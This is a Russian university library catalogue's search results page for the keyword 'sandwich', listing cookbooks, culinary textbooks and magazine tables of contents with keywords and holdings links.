Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

172 пользователей



 
      Наши партнеры
Студенческий информационный портал компании
("Ключевые слова=БУТЕРБРОД")
Результаты поиска
СВОДНЫЙ КАТАЛОГ: Найдено записей: 20
1. 
Сборник рецептур блюд и кулинарных изделий для предприятий общественного питания [Текст] / сост. М. Т. Лабзина, 2014. - 767, [1] с.
Держатели документа (Информация об экземплярах) 
2. 
Богушева, Валентина Ивановна. Технология приготовления пищи [Текст] / В. И. Богушева, 2010. - 374, [1] с.
Держатели документа (Информация об экземплярах) 

В пособии представлен весь комплекс теоретических основ производства продукции общественного питания.

Дана характеристика химического состава и физических свойств различных продуктов. Рассмотрены основные способы и приемы первичной обработки сырья и приготовления полуфабрикатов. Характеризуются приемы тепловой обработки, а также изменения, происходящие в продуктах под влиянием высоких температур.

Основная часть пособия посвящена технологии приготовления кулинарных блюд, правилам их оформления и подачи.

Особое внимание обращается на требования, предъявляемые к качеству продукции общественного питания, срокам ее хранения и реализации.

В последних главах освещаются вопросы лечебного и детского питания, дается характеристика различных диет.

Предназначено для студентов технологических, торгово-экономических, кооперативных колледжей и техникумов. Он может представлять интерес и для практических работников, обучающихся в системе переподготовки кадров и повышения квалификации.

3. 
Кулинарные рецепты: Из "Книги о вкусной и здоровой пище" [Текст] / сост. Л. И. Воробьева ; дар.: Л. К. Жарина, Л. К. Жарина, 1988. - 334, [1] с.
Ключевые слова 
ЗАКУСКА -- БУТЕРБРОД -- САЛАТ -- ИКРА -- ПАШТЕТ -- СОУС -- МАЙОНЕЗ -- БУЛЬОН -- СУП -- ОКРОШКА -- МЯСО -- КОТЛЕТА -- ТЕФТЕЛИ -- ШНИЦЕЛЬ -- ПЕЛЬМЕНИ -- КУРИЦА -- ДИЧЬ -- РЫБА -- МОРЕПРОДУКТ -- ТВОРОЖНИКИ -- ВАРЕНИК -- БЛИНЧИКИ -- ЗАПЕКАНКА -- ПУДИНГ -- ОМЛЕТ -- ОВОЩИ -- ГРИБЫ -- КАРТОФЕЛЬ -- ФОРШМАК -- КАША -- ПЛОВ -- КЛЕЦКИ -- ЧЕБУРЕК -- КУКУРУЗА -- ФАСОЛЬ -- ГОРОХ -- ЧЕЧЕВИЦА -- ПИРОЖОК -- ВАТРУШКА -- БУЛКА -- ОЛАДЬИ -- РУЛЕТ -- ПИРОЖНОЕ -- ТОРТ -- КЕКС -- ПОНЧИК -- ХВОРОСТ -- КИСЕЛЬ -- КОМПОТ -- ЖЕЛЕ -- МУСС -- КРЕМ -- ПУДИНГ -- ШАРЛОТКА -- МАРИНАД -- СОЛЕНЬЕ -- МАРИНАД -- КОНСЕРВИРОВАНИЕ -- ЗАМОРАЖИВАНИЕ -- ЯГОДЫ
Держатели документа (Информация об экземплярах) 
4. 
Кулинарные рецепты [Текст] / сост. Л. И. Воробьева, 1983. - 835 с.
Ключевые слова 
БУТЕРБРОД -- САЛАТ -- ВИНЕГРЕТ -- ЗАКУСКА ХОЛОДНАЯ -- ЗАКУСКА ОВОЩНАЯ -- ЗАКУСКА ИЗ ЯИЦ -- СОУС -- ЗАКУСКА ГОРЯЧАЯ -- БУЛЬОН -- СУП -- СУП - ПЮРЕ -- СУП ХОЛОДНЫЙ -- МЯСО ОТВАРНОЕ -- МЯСО ТУШЕНОЕ -- МЯСО ЖАРЕНОЕ -- МЯСО РУБЛЕНОЕ -- МЯСО ЗАПЕЧЕННОЕ -- РЫБА ОТВАРНАЯ -- РЫБА ЖАРЕНАЯ -- РЫБА ТУШЕНАЯ -- БЛЮДА ИЗ МОРЕПРОДУКТОВ -- БЛЮДА МОЛОЧНЫЕ -- БЛЮДА ИЗ ЯИЦ -- ОМЛЕТ -- ОВОЩИ ОТВАРНЫЕ -- ОВОЩИ ЖАРЕНЫЕ -- ОВОЩИ ЗАПЕЧЕННЫЕ -- ОВОЩИ ТУШЕНЫЕ -- ОВОЩИ ФАРШИРОВАННЫЕ -- БЛЮДА ИЗ ГРИБОВ -- КАША -- ПЛОВ -- БЛЮДА ИЗ МАКАРОННЫХ ИЗДЕЛИЙ -- БЛЮДА ИЗ БОБОВЫХ -- ТЕСТО ДРОЖЖЕВОЕ -- ТЕСТО ПРЕСНОЕ -- ТЕСТО СЛОЕНОЕ -- БЛИНЫ -- ОЛАДЬИ -- БУЛОЧКИ -- КУЛИЧИ -- ПЕЧЕНЬЕ -- ПИРОЖНЫЕ -- ТОРТ -- КЕКС -- КИСЕЛЬ -- КОМПОТ -- ЖЕЛЕ -- КРЕМ -- ПУДИНГ -- КОНСЕРВИРОВАНИЕ ДОМАШНЕЕ -- МАРИНАД -- ЗАМОРАЖИВАНИЕ ОВОЩЕЙ -- ЗАМОРАЖИВАНИЕ ПЛОДОВ
Держатели документа (Информация об экземплярах) 
5. 
Салаты и закуски [Текст] / сост. О. А. Воротникова ; дар. В. А. Козлова, 1995. - 395, [1] с.
Держатели документа (Информация об экземплярах) 
6. 
Кулинария [Текст] / П. В. Абатуров [и др.] ; дар. В. С. Михайленко, 1955. - 959, [1] с.
Держатели документа (Информация об экземплярах) 
7. 
Крестьянка. - Журнал, 2011г. № 2
Оглавление 
  • [Письма читателей]. - с.2
  • Книжные новинки. - с.10
  • Можаева, Екатерина. Пора по парам / Е. Можаева. - с.12
  • 5 романтических комедий. - с.13
  • Пищикова, Евгения. Импульсы / Е. Пищикова. - с.14-15
  • Двое. - с.16-19
  • Алферова, Ксения. Именины сердца / К. Алферова. - с.20-25
  • Бунеева, Дина. Модная армия / Д. Бунеева. - с.26-27
  • Прокофьева, Елена. Ловушки красоты / Е. Прокофьева. - с.28-30
  • Чистова, Анна. Некоторые любят погорячее / А. Чистова. - с.31
  • Санжарова, Оксана. Гжельский сервиз / О. Санжарова. - с.32-34
  • Птичка на проводе. - с.35
  • Санжарова, Оксана. Кружевной разговор / О. Санжарова. - с.36-37
  • Рекен, Ольга. Короли и картошка / О. Рекен. - с.38-39
  • 7 неразбитых сердец. - с.40
  • Толмачева, Анастасия. Культурный слой / А. Толмачева, С. Фризен. - с.42-43
  • Логинов, Виктор. Улица мясницкая / В. Логинов. - с.44-45
  • Тарелкина, Катя. Две вещи несовместные / К. Тарелкина. - с.46-47
  • Сдобная особа. - с.48-49
  • Новиков, Илья. Бык в помощь / И. Новиков. - с.50-51
  • Идейный бутерброд. - с.52-53
  • Денисова, Елена. Была охота / Е. Денисова. - с.54-55
  • Людковская, Анна. Лед и пламень / А. Людковская. - с.56-57
  • Людковская, Анна. Валентинка из двух яиц / А. Людковская. - с.58-59
  • Петрова, Оксана. Блин горой / О. Петрова. - с.60
  • Речиц, Ольга. В чем сила, сестра? / О. Речиц, С. Барбашова, О. Лаппа. - с.62-63
  • Калинина-Артемова, Анна. С широко закрытыми глазами / А. Калинина-Артемова. - с.64-65
  • Можаева, Екатерина. История нежности / Е. Можаева. - с.66-67
  • Леонидова, Анна. Умножение любви / А. Леонидова. - с.68-69
  • Шахрин, Владимир. Так, как ты захочешь / В. Шахрин. - с.70-71
  • Дени, Александр. Две женщины как две свечи / А. Дени. - с.72-75
  • Артемова, Анна. Плюшевый друг / А. Артемова. - с.76-77
  • Можаева, Екатерина. Фото-финиш / Е. Можаева. - с.78-79
  • Можаева, Екатерина. Заочное отделение / Е. Можаева. - с.84-85
  • Павлов, Чавдар. Орган безопасности / Ч. Павлов. - с.88-90
  • Рожко, Дарья. Яркие сумерки / Д. Рожко. - с.92-93
  • Чистова, Анна. А мы пойдем на север / А. Чистова. - с.96-97
  • аль-Шимари, Елена. Шишкин двор / Е. аль-Шимари. - с.98-99
  • аль-Шимари, Елена. И на камнях растут / Е. аль-Шимари. - с.100-101
  • Волкова, Ольга. Нечеловеческая красота / О. Волкова. - с.102-103
  • Лебедева, Валентина. Места для поцелуев / В. Лебедева. - с.106-108
  • [Фотоконкурс]. - с.110-111
Держатели документа (Информация об экземплярах) 
8. 
Вопросы социального обеспечения. - Журнал, 2011г. № 7
Оглавление 
  • Об итогах деятельности Минздравсоцразвития в 2010 году. - с.2-6
  • О пенсиях. - с.7
  • Калинская, Е. Обсудили модернизацию здравоохранения на 2011-2012 годы / Е. Калинская. - с.7-8
  • Всероссийский конкурс "Лучший социальный работник". - с.8
  • Горбунова, И. Элексир для всестороннего развития / И. Горбунова. - с.9-11
  • Мякшин, Н. Опыт северных стран / Н. Мякшин. - с.11
  • Хомец, Н. Проект "Единый социальный телефон" / Н. Хомец. - с.12
  • Теперь я - полноправный член коллектива. - с.12
  • Подведены итоги регионального конкурса. - с.13
  • Степанова, К. Выходные с "Лучшими друзьями" / К. Степанова. - с.13
  • Форум "Карьера". - с.14
  • Обновление "Стратегии-2020". - с.15
  • Миграция как ресурс развития. - с.15-16
  • Работу - россиянам!. - с.16
  • Важнейшее направление - содействие самозанятости. - с.17
  • Соколовская, М. Что будет? / М. Соколовская. - с.18-19
  • Программа сопровождения для людей с инвалидностью. - с.20
  • Рейтинги учреждений здравоохранения, образования и ЖКХ. - с.21
  • Московская, А. Роль бизнеса в формировании российской модели профессии / А. Московская. - с.22
  • Словарь ВСО: дауншифтинг. - с.23
  • Огарков, А. Должностные полномочия: виды и варианты распределения / А. Огарков. - с.24-25
  • Запретить курить в подъездах и на улицах. - с.27
  • Правда о средствах для похудения. - с.27-28
  • Без суда и следствия. - с.29
  • Соглашение о сотрудничестве. - с.30
  • Самые привлекательные страны. - с.30
  • Ушли в отрыв. - с.31
  • Что сделать для восстановления экономики?. - с.31-32
  • Законопроект нарушает права ребенка. - с.33
  • Преодоление социальной изоляции недееспособных граждан. - с.33-34
  • Прибыли много не бывает. - с.35
  • Рубль - "тихой сапой" к новым вершинам. - с.35
  • Сохранить нельзя потратить. - с.35-36
  • Миронов, В. Россия лидирует по количеству и качеству миллиардеров: плохо это или хорошо? / В. Миронов, О. Пономаренко. - с.36-37
  • Социальное обеспечение и социальное страхование. - с.38-40
  • Здравоохранение. - с.40
  • Труд и занятость. - с.40-41
  • Трошина, Т. Вопрос-ответ / Т. Трошина, А. Кикинская. - с.41-42
  • Усиление социальной поддержки ленинградских блокадников. - с.43
  • Любовь и счастье в семье. - с.43
  • Гришаева, Г. Изменить порядок вещей / Г. Гришаева. - с.44
  • Муштенко, Г. Помню / Г. Муштенко. - с.45-46
  • Китайцам обеспечат счастливую старость по закону. - с.44
  • Город для пожилых. - с.46
  • Росгидромет: лето-2011 будет холоднее. - с.48
  • Сколько пить воды?. - с.47
  • Официальный брак и образование. - с.48
  • Лучшая инвестиция. - с.48
  • Оладьи из тыквы с яблоками. - с.49
  • Бутерброд-рулет с мясом. - с.49
  • Нанокастрюля на кухне. - с.49
Держатели документа (Информация об экземплярах) 
9. 
Охрана труда и социальное страхование. - Журнал, 2011г. № 3
Оглавление 
  • Никитин, Е. Защита прав несовершеннолетних / Е. Никитин
  • Маслов, С. [Отвечаем на вопросы] / С. Маслов. - с.93-96
  • Давтян, С. Пример для подражания / С. Давтян. - с.34-36
  • Первые итоги. - с.37-40
  • Мокроусов, С. Нефтегазовый комплекс: вектор модернизации / С. Мокроусов. - с.41-44
  • Сельское хозяйство требует внимания. - с.45-50
  • Фомин, А. Основа безопасного труда / А. Фомин, Е. Макарова. - с.51-55
  • Как сэкономить средства. - с.56-57
  • Пастухов, А. Неслучайная случайность / А. Пастухов
  • Что будет завтра?
  • Борисов, О. Кому воз тянуть? / О. Борисов
  • Травматизм растет
  • Фоминых, А. Деньги любят счет / А. Фоминых
  • Бутерброд "с душком"
  • Шафранский, О. За квалификацию платить выгодно / О. Шафранский
  • Лобанов, Д. Проверки приносят результат / Д. Лобанов
  • Порываев, А. Редкий случай / А. Порываев
  • Сохранить здоровье россиян. - с.58-66
  • Чечилова, С. Восемь способов укрепить иммунитет / С. Чечилова. - с.67-69
  • Осипова, В. Нужны ли санитарно-защитные зоны / В. Осипова. - с.70-72
  • Дунчик, В. Готовы ли вы оказать первую помощь? / В. Дунчик. - с.73-77
  • Степанов, А. Радиационная безопасность и защита / А. Степанов. - с.78-82
  • Об утверждении Положения о разработке, утверждении и изменении нормативных правовых актов, содержащих государственные нормативные требования охраны труда. - с.83-84
  • О внесении изменений в некоторые акты Правительства Российской Федерации по вопросам, связанным с совершенствованием обязательного социального страхования от несчастных случаев на производстве и профессиональных заболеваний. - с.84-85
  • О страховых тарифах на обязательное социальное страхование от несчастных случаев на производстве и профессиональных заболеваний на 2011 г. и на плановый период 2012 и 2013 гг.. - с.86-87
  • Шумский, В. [Отвечаем на вопросы] / В. Шумский. - с.88-90
  • Шидловский, В. [Отвечаем на вопросы] / В. Шидловский. - с.91-92
  • Колосов, А. [Отвечаем на вопросы] / А. Колосов. - с.92-93
  • Жарова, Н. В. Пути решения проблем / Н. В. Жарова. - с.3-13
  • Аксенова, В. На пороге перемен / В. Аксенова. - с.14-19
  • Габдрахманова, Р. Берегите женщин / Р. Габдрахманова, Г. Габдрахманова. - с.20-24
  • Родин, В. Риск травмирования и его оценка / В. Родин, В. Исаков, С. Суворов. - с.25-31
Держатели документа (Информация об экземплярах) 
10. 
Микроволновая кухня каждый день [Текст] / сост. Ю. Р. Васильев ; дар. И. Ю. Морозов, 1995. - 383 с.
Держатели документа (Информация об экземплярах) 
11. 
Современная молочная кухня [Текст] / М. Теплы [и др.], 1987. - 240 с.
Держатели документа (Информация об экземплярах) 
12. 
Сборник рецептур блюд и кулинарных изделий для предприятий общественного питания [Текст] / сост. Л. Е. Голунова, 2001. - 688 с.
Ключевые слова 
БУТЕРБРОД -- ЗАКУСКА БАНКЕТНАЯ -- САЛАТ -- ВИНЕГРЕТ -- СУП -- БОРЩ -- ЩИ -- РАССОЛЬНИК -- СОЛЯНКА -- СУП МОЛОЧНЫЙ -- СУП - ПЮРЕ -- СУП ХОЛОДНЫЙ -- БЛЮДА ИЗ КАРТОФЕЛЯ -- БЛЮДА ИЗ ГРИБОВ -- БЛЮДА ИЗ ОВОЩЕЙ -- БЛЮДА ИЗ КРУП -- КАША -- ЗАПЕКАНКА -- ПУДИНГ -- БЛЮДА ИЗ ЯИЦ -- БЛЮДА ИЗ ТВОРОГА -- БЛЮДА РЫБНЫЕ -- БЛЮДА ИЗ МОРЕПРОДУКТОВ -- БЛЮДА МЯСНЫЕ -- ГАРНИР -- СОУС -- БЛЮДА СЛАДКИЕ -- ЯГОДЫ -- КОМПОТ -- КИСЕЛЬ -- ЖЕЛЕ -- МУСС -- САМБУК -- КРЕМ -- СЛИВКИ ВЗБИТЫЕ -- СУФЛЕ -- ПУДИНГ -- МОРОЖЕНОЕ -- НАПИТКИ -- ЧАЙ -- КОФЕ -- КАКАО -- ШОКОЛАД -- МОЛОКО -- КОКТЕЙЛЬ -- КРЮШОН -- БЛЮДА МУЧНЫЕ -- ФАРШ -- РАСХОД СЫРЬЯ -- ПОЛУФАБРИКАТЫ -- ВЗАИМОЗАМЕНЯЕМОСТЬ ПРОДУКТОВ
Держатели документа (Информация об экземплярах) 
13. 
Социально-экономическое, правовое и культурное развитие Омского региона: прошлое и настоящее [Текст] : сб. материалов студенч. конф. / АНО СПО "Омский колледж предпринимательства и права", 2009. - 339 с.
Ключевые слова 
Оглавление 
  • Францева, Д. Изучение и анализ современного регионального законодательства / Д. Францева. - с.3-11
    Кл. слова: ЗАКОНОДАТЕЛЬСТВО РЕГИОНАЛЬНОЕ
  • Белов, И. Правосознание как неизбежный спутник права / И. Белов. - с.11-18
    Кл. слова: ПРАВОСОЗНАНИЕ
  • Осипов, Д. Развитие правовой культуры в г. Омске / Д. Осипов. - с.19-21
    Кл. слова: КУЛЬТУРА ПРАВОВАЯ
  • Пискунов, П. Правовой институт уполномоченного по правам человека в Омском регионе / П. Пискунов. - с.22-26
    Кл. слова: УПОЛНОМОЧЕННЫЙ ПО ПРАВАМ ЧЕЛОВЕКА
  • Кривошей, А. Н. Адвокаты Нововаршавского района / А. Н. Кривошей, В. П. Канайкин. - с.26-30
  • Шишигина, О. В. Уголовно-исполнительная инспекция / О. В. Шишигина, Л. В. Шушимоина. - с.30-34
  • Кузьменко, О. А. Прокуратура Нововаршавского района / О. А. Кузьменко, А. В. Вондра. - с.35-37
    Кл. слова: ПРОКУРАТУРА - Омская область
  • Гусак, Ю. Ю. Служба дознания Нововаршавского ОВД / Ю. Ю. Гусак, С. С. Вишневский. - с.38-42
    Кл. слова: СЛУЖБА дознания
  • Бондарь, Д. Ипотечное кредитование в Омской области / Д. Бондарь. - с.42-54
    Кл. слова: КРЕДИТОВАНИЕ ИПОТЕЧНОЕ
  • Шкель, Е. Анализ маркетинговых коммуникаций колледжа / Е. Шкель. - с.55-60
    Кл. слова: КОММУНИКАЦИИ МАРКЕТИНГОВЫЕ
  • Дроздова, А. Внешнеэкономическая деятельность Омского региона и особенности делового этикета стран Востока / А. Дроздова. - с.60-67
    Кл. слова: ДЕЯТЕЛЬНОСТЬ ВНЕШНЕЭКОНОМИЧЕСКАЯ
  • Кабакова, А. Деловой этикет как составляющая успешного сотрудничества омских предпринимателей со странами Запада / А. Кабакова. - с.67-73
    Кл. слова: ЭТИКЕТ ДЕЛОВОЙ, ПРЕДПРИНИМАТЕЛЬ, ОМСКАЯ ОБЛАСТЬ - ПРЕДПРИНИМАТЕЛЬСТВО
  • Юкляевская, Я. Конкурентоспособность Омского региона / Я. Юкляевская. - с.73-76
    Кл. слова: ОМСКАЯ ОБЛАСТЬ - ПРЕДПРИНИМАТЕЛЬСТВО, КОНКУРЕНТОСПОСОБНОСТЬ
  • Дремина, Н. Лидерство в управлении - новая мода или революция в управлении / Н. Дремина. - с.76-79
    Кл. слова: ЛИДЕРСТВО, УПРАВЛЕНИЕ
  • Пустарнак, А. Роль менеджера в организации / А. Пустарнак. - с.80-84
    Кл. слова: МЕНЕДЖЕР
  • Москвитин, Д. Социально-экономическое развитие Омска и Омского региона / Д. Москвитин. - с.84-86
    Кл. слова: ОМСКАЯ ОБЛАСТЬ - ЭКОНОМИКА
  • Дейкало, Д. Антиоксиданты на рынке функциональных продуктов / Д Дейкало. - с.87-88
    Кл. слова: АНТИОКСИДАНТЫ, ПРОДУКТ ФУНКЦИОНАЛЬНЫЙ
  • Быкова, Л. Анализ современного холодильного оборудования / Л. Быкова. - с.89-93
    Кл. слова: ОБОРУДОВАНИЕ ХОЛОДИЛЬНОЕ
  • Найда, Е. Как выбрать холодильную камеру / Е. Найда. - с.94-96
    Кл. слова: КАМЕРА ХОЛОДИЛЬНАЯ
  • Еринова, Т. Лук от семи недуг / Т. Еринова. - с.97-104
    Кл. слова: ЛУК
  • Шелковский, В. Продукты функционального назначения и БАД к пище на основе дикорастущего сырья / В Шелковский. - с.105-108
    Кл. слова: БАД, ПРОДУКТ ФУНКЦИОНАЛЬНЫЙ
  • Масалыкина, А. Фаст-фуд: просто - как бутерброд / А. Масалыкина. - с.108-115
    Кл. слова: ФАСТ ФУД
  • Авраменко, К. Молекулярная кулинария / К. Авраменко. - с.115-117
    Кл. слова: КУЛИНАРИЯ молекулярная
  • Браузман, О. Строительная индустрия Омской области / О Браузман. - с.117-121
    Кл. слова: ИНДУСТРИЯ строительная, ОМСКАЯ ОБЛАСТЬ - СТРОИТЕЛЬСТВО
  • Выговский, К. Единый государственный экзамен - 2009: новшества и перспективы / К. Выговский. - с.121-125
    Кл. слова: ЕГЭ
  • Дмитриев, И. Финансовый кризис Омской области / И. Дмитриев. - с.126-129
    Кл. слова: ОМСКАЯ ОБЛАСТЬ - ЭКОНОМИКА, КРИЗИС ФИНАНСОВЫЙ
  • Коробова, К. Безработица как социально-экономическое явление / К. Коробова. - с.129-132
    Кл. слова: БЕЗРАБОТИЦА
  • Кузнецова, Е. Материнский капитал: прошлое и будущее / Е. Кузнецова. - с.132-135
    Кл. слова: КАПИТАЛ МАТЕРИНСКИЙ
  • Лимакин, Р. Областная целевая программа детского и юношеского спорта в Омской области / Р. Лимакин, И. Тихонов. - с.136-138
    Кл. слова: ОМСКАЯ ОБЛАСТЬ - СПОРТ, СПОРТ
  • Топузян, Н. Грозит ли Омску строительный кризис? / Н. Топузян. - с.138-143
    Кл. слова: ОМСКАЯ ОБЛАСТЬ - СТРОИТЕЛЬСТВО
  • Шеломов, М. Влияние финансового кризиса на рынок труда Омской области / М. Шеломов. - с.143-150
    Кл. слова: ОМСКАЯ ОБЛАСТЬ - РЫНОК ТРУДА, РЫНОК ТРУДА
  • Новиков, К. Оценка развития факторинга в Омском регионе / К. Новиков. - с.150-154
    Кл. слова: ФАКТОРИНГ
  • Вакуленко, Н. Изучение состояния и перспектив информатизации общества России, Омского региона / Н. Вакуленко. - с.154-161
    Кл. слова: ИНФОРМАТИЗАЦИЯ ОБЩЕСТВА
  • Багрий, А. Прогнозирование успеваемости студентов по оценкам, полученным ими за предыдущую сессию / А. Багрий. - с.161-168
    Кл. слова: УСПЕВАЕМОСТЬ
  • Дворник, М. Влияние компонентов мыла и шампуня на кожу человека / М. Дворник. - с.168-182
    Кл. слова: МЫЛО, Шампунь
  • Сергиенко, К. Проблема превращение "города-сада" в "город-пень" / К. Сергиенко. - с.183-196
    Кл. слова: ОМСКАЯ ОБЛАСТЬ - ЭКОЛОГИЯ
  • Татарицкая, Л. Исследование факторов долголетия: (на примере жителей г. Омска) / Л. Татарицкая, Н. Арсентьева. - с.197-207
    Кл. слова: ДОЛГОЛЕТИЕ, ОМСКАЯ ОБЛАСТЬ - ДЕМОГРАФИЯ
  • Кампен, В. Кредит на образование / В. Кампен, А. Тимкова. - с.208-211
    Кл. слова: КРЕДИТ ОБРАЗОВАТЕЛЬНЫЙ
  • Коробова, К. Выявление уровня информированности молодежи в вопросах экологической обстановки Родного края: (на примере памятников природы) / К. Коробова. - с.211-224
  • Решетов, А. Электронный журнал занятий группы / А. Решетов. - с.224-230
    Кл. слова: ЖУРНАЛ ЭЛЕКТРОННЫЙ
  • Грязнов, С. Сотовый телефон: вреден или нет? / С. Грязнов, В. Климов. - с.231-236
    Кл. слова: ТЕЛЕФОН СОТОВЫЙ
  • Гергерт, О. Определение содержания нитратов в овощах и влияние их на здоровье человека / О. Гергерт. - с.237-251
    Кл. слова: НИТРАТЫ
  • Дремина, Н. Влияние Интернета на молодежь / Н. Дремина, А. Пустарнак. - с.251-256
    Кл. слова: ИНТЕРНЕТ - ПСИХОЛОГИЯ
  • Сюсикова, К. Морфологическая характеристика Булавоусых Чешуекрылых различных экологических групп / К. Сюсикова. - с.257-262
    Кл. слова: БАБОЧКА, ОТРЯД Булавоусых Чешуекрылых
  • Лямцева, К. Проблемы шумового загрязнения г. Омска / К. Лямцева, Г. Плеханова. - с.263-272
    Кл. слова: ОМСК - ЭКОЛОГИЯ
  • Амвросова, Е. Культура добрачных отношений современной молодежи / Е. Амвросова. - с.273-280
    Кл. слова: КУЛЬТУРА МОЛОДЕЖНАЯ, ОТНОШЕНИЯ ДОБРАЧНЫЕ
  • Белов, И. Роль телевидения в духовном становлении личности / И Белов : 280-287
    Кл. слова: ТЕЛЕВИДЕНИЕ - КУЛЬТУРА, ТЕЛЕВИДЕНИЕ - ПСИХОЛОГИЯ
  • Говоруха, О. Культура сексуальных отношений и поведения молодых людей / О. Говоруха. - с.288-295
    Кл. слова: КУЛЬТУРА МОЛОДЕЖНАЯ, ОТНОШЕНИЯ ДОБРАЧНЫЕ
  • Харламова, А. Страницы истории - опора духовного развития личности / А Харламова. - с.296-299
    Кл. слова: ИСТОРИЯ
  • Ошовская, Т. Сохранение архитектурного наследия - важная задача духовного становления личности / Т. Ошовская. - с.300-309
    Кл. слова: ОМСК - ИСТОРИЯ
  • Чирко, М. Структура свободного времени студентов колледжа / М Чирко. - с.303-309
    Кл. слова: ВРЕМЯ СВОБОДНОЕ, СТУДЕНТ
  • Ярмухаметова, К. Сибирский край в судьбе и творчестве Ф.М. Достоевского / К. Ярмухаметова. - с.310-314
    Кл. слова: ЛИТЕРАТУРОВЕДЕНИЕ
  • Коробова, К. Взаимоотношения детей и родителей в семьях студентов колледжа / К. Коробова, А. Панкова. - с.314-318
  • Дербенев, И. Исследование понимания успеха и успешности человека студентами колледжа / И. Дербенев. - с.319-324
    Кл. слова: УСПЕХ, УСПЕШНОСТЬ
  • Браузман, О. Репродуктивные установки современной молодежи как один из факторов рождаемости в Омской области / О. Браузман. - с.325-331
    Кл. слова: ОМСКАЯ ОБЛАСТЬ - ДЕМОГРАФИЯ
  • Белов, И. Особенности и проблемы российского правосознания / И. Белов. - с.331-335
    Кл. слова: ПРАВОСОЗНАНИЕ
Держатели документа (Информация об экземплярах) 
14. 
Сидорина Е. И. Современная кухня [Текст] : кулинар. рецепты из доступ. продуктов / Е. И. Сидорина, 1993. - 543 с.
Ключевые слова 
СЕРВИРОВКА СТОЛА -- ЗАКУСКА ХОЛОДНАЯ -- САЛАТ -- ВИНЕГРЕТ -- ПАШТЕТ -- ЗАЛИВНОЕ -- БУТЕРБРОД -- БЛЮДА МЯСНЫЕ -- БЛЮДА ИЗ РЫБЫ -- СЫР -- БЛЮДА ИЗ ЯИЦ -- СУП -- БОРЩ -- ЩИ -- РАССОЛЬНИК -- СУП ОВОЩНОЙ -- УХА -- СУП МОЛОЧНЫЙ -- СУП ГРИБНОЙ -- БЛИНЫ -- ОЛАДЬИ -- БЛЮДА ИЗ ГРИБОВ -- БЛЮДА ИЗ КРУП -- БЛЮДА ИЗ БОБОВЫХ -- ЗАПЕКАНКА -- ПЛОВ -- БЛЮДА ИЗ ОВОЩЕЙ -- БЛЮДА ИЗ КАРТОФЕЛЯ -- СОУС -- ТЕСТО ДРОЖЖЕВОЕ -- ТЕСТО СЛОЕНОЕ -- ТОРТЫ -- ТЕСТО БИСКВИТНОЕ -- ПЕЧЕНЬЕ -- ХВОРОСТ -- ВАФЛИ -- КЕКС -- ПИРОГ -- КРЕМ МАСЛЯНЫЙ -- КРЕМ БЕЛКОВЫЙ -- КРЕМ ЗАВАРНОЙ -- МУСС -- ЖЕЛЕ -- КОМПОТ -- КИСЕЛЬ -- БЛЮДА СЛАДКИЕ -- ЗАГОТОВКИ -- КАПУСТА КВАШЕНАЯ -- КОНСЕРВИРОВАНИЕ -- МАРИНОВАНИЕ -- ВАРЕНЬЕ -- ДЖЕМ -- ЦУКАТЫ
15. 
Романова Т. В. Приятного аппетита! [Текст] / Т. В. Романова, 1990. - 200 с. [8] вкл. цв. л. с.
Ключевые слова 
КУЛИНАРИЯ ДОМАШНЯЯ -- ПИТАНИЕ РАЦИОНАЛЬНОЕ -- СЕРВИРОВКА СТОЛА -- БЛЮДА ХОЛОДНЫЕ -- ЗАКУСКА -- БУТЕРБРОД -- САЛАТ -- ВИНЕГРЕТ -- СУПЫ -- ЩИ -- БОРЩ -- РАССОЛЬНИК -- СУП - ПЮРЕ -- СУП МОЛОЧНЫЙ -- БЛЮДА РЫБНЫЕ -- БЛЮДА МЯСНЫЕ -- СОУС -- БЛЮДА ИЗ ОВОЩЕЙ -- БЛЮДА ИЗ КРУП -- БЛЮДА МУЧНЫЕ -- БЛЮДА СЛАДКИЕ -- КОМПОТ -- КИСЕЛЬ -- ЖЕЛЕ -- МУСС -- КРЕМ -- КАША ГУРЬЕВСКАЯ -- НАПИТКИ -- ТЕСТО ДРОЖЖЕВОЕ -- ПИРОГ -- ТЕСТО СЛОЕНОЕ -- МАННИК -- КЕКС -- ХВОРОСТ -- ПЕЧЕНЬЕ -- ПИРОЖНЫЕ -- ТОРТ -- ФРУКТЫ -- ОВОЩИ -- КУХНЯ ОМСКАЯ -- ЗЕЛЬЦ -- СТУДЕНЬ -- СТЕРЛЯДЬ -- ЩУКА -- ВЕРЕЩАКА -- ПЕЛЬМЕНИ -- ПАСХА
Держатели документа (Информация об экземплярах) 
16. 
Рецепты микроволновой печи. Быстро! Вкусно! Удобно! [Текст] / сост. Г. В. Булгакова, 1996. - 350 с.
Держатели документа (Информация об экземплярах) 
17. 
Сборник рецептур блюд и кулинарных изделий для предприятий общественного питания [Текст] / сост.: Л. Е. Голунова, М. Т. Лабзина, 2014. - 771 с.
Ключевые слова 
БУТЕРБРОД -- ЗАКУСКА БАНКЕТНАЯ -- САЛАТ -- ВИНЕГРЕТ -- СУП -- БОРЩ -- ЩИ -- РАССОЛЬНИК -- СОЛЯНКА -- СУП МОЛОЧНЫЙ -- СУП - ПЮРЕ -- СУП ХОЛОДНЫЙ -- БЛЮДА ИЗ КАРТОФЕЛЯ -- БЛЮДА ИЗ ГРИБОВ -- БЛЮДА ИЗ ОВОЩЕЙ -- БЛЮДА ИЗ КРУП -- КАША -- ЗАПЕКАНКА -- ПУДИНГ -- БЛЮДА ИЗ ЯИЦ -- БЛЮДА ИЗ ТВОРОГА -- БЛЮДА РЫБНЫЕ -- БЛЮДА ИЗ МОРЕПРОДУКТОВ -- БЛЮДА МЯСНЫЕ -- ГАРНИР -- СОУС -- БЛЮДА СЛАДКИЕ -- ЯГОДЫ -- КОМПОТ -- КИСЕЛЬ -- ЖЕЛЕ -- МУСС -- САМБУК -- КРЕМ -- СЛИВКИ ВЗБИТЫЕ -- СУФЛЕ -- ПУДИНГ -- МОРОЖЕНОЕ -- НАПИТКИ -- ЧАЙ -- КОФЕ -- КАКАО -- ШОКОЛАД -- МОЛОКО -- КОКТЕЙЛЬ -- КРЮШОН -- БЛЮДА МУЧНЫЕ -- ФАРШ -- РАСХОД СЫРЬЯ -- ПОЛУФАБРИКАТЫ -- ВЗАИМОЗАМЕНЯЕМОСТЬ ПРОДУКТОВ
Держатели документа (Информация об экземплярах) 
18. 
Татарская Л. Л. Кулинария и организация производства детского питания [Текст] / Л. Л. Татарская, Н. Г. Бутейкис, 1981. - 336 с.
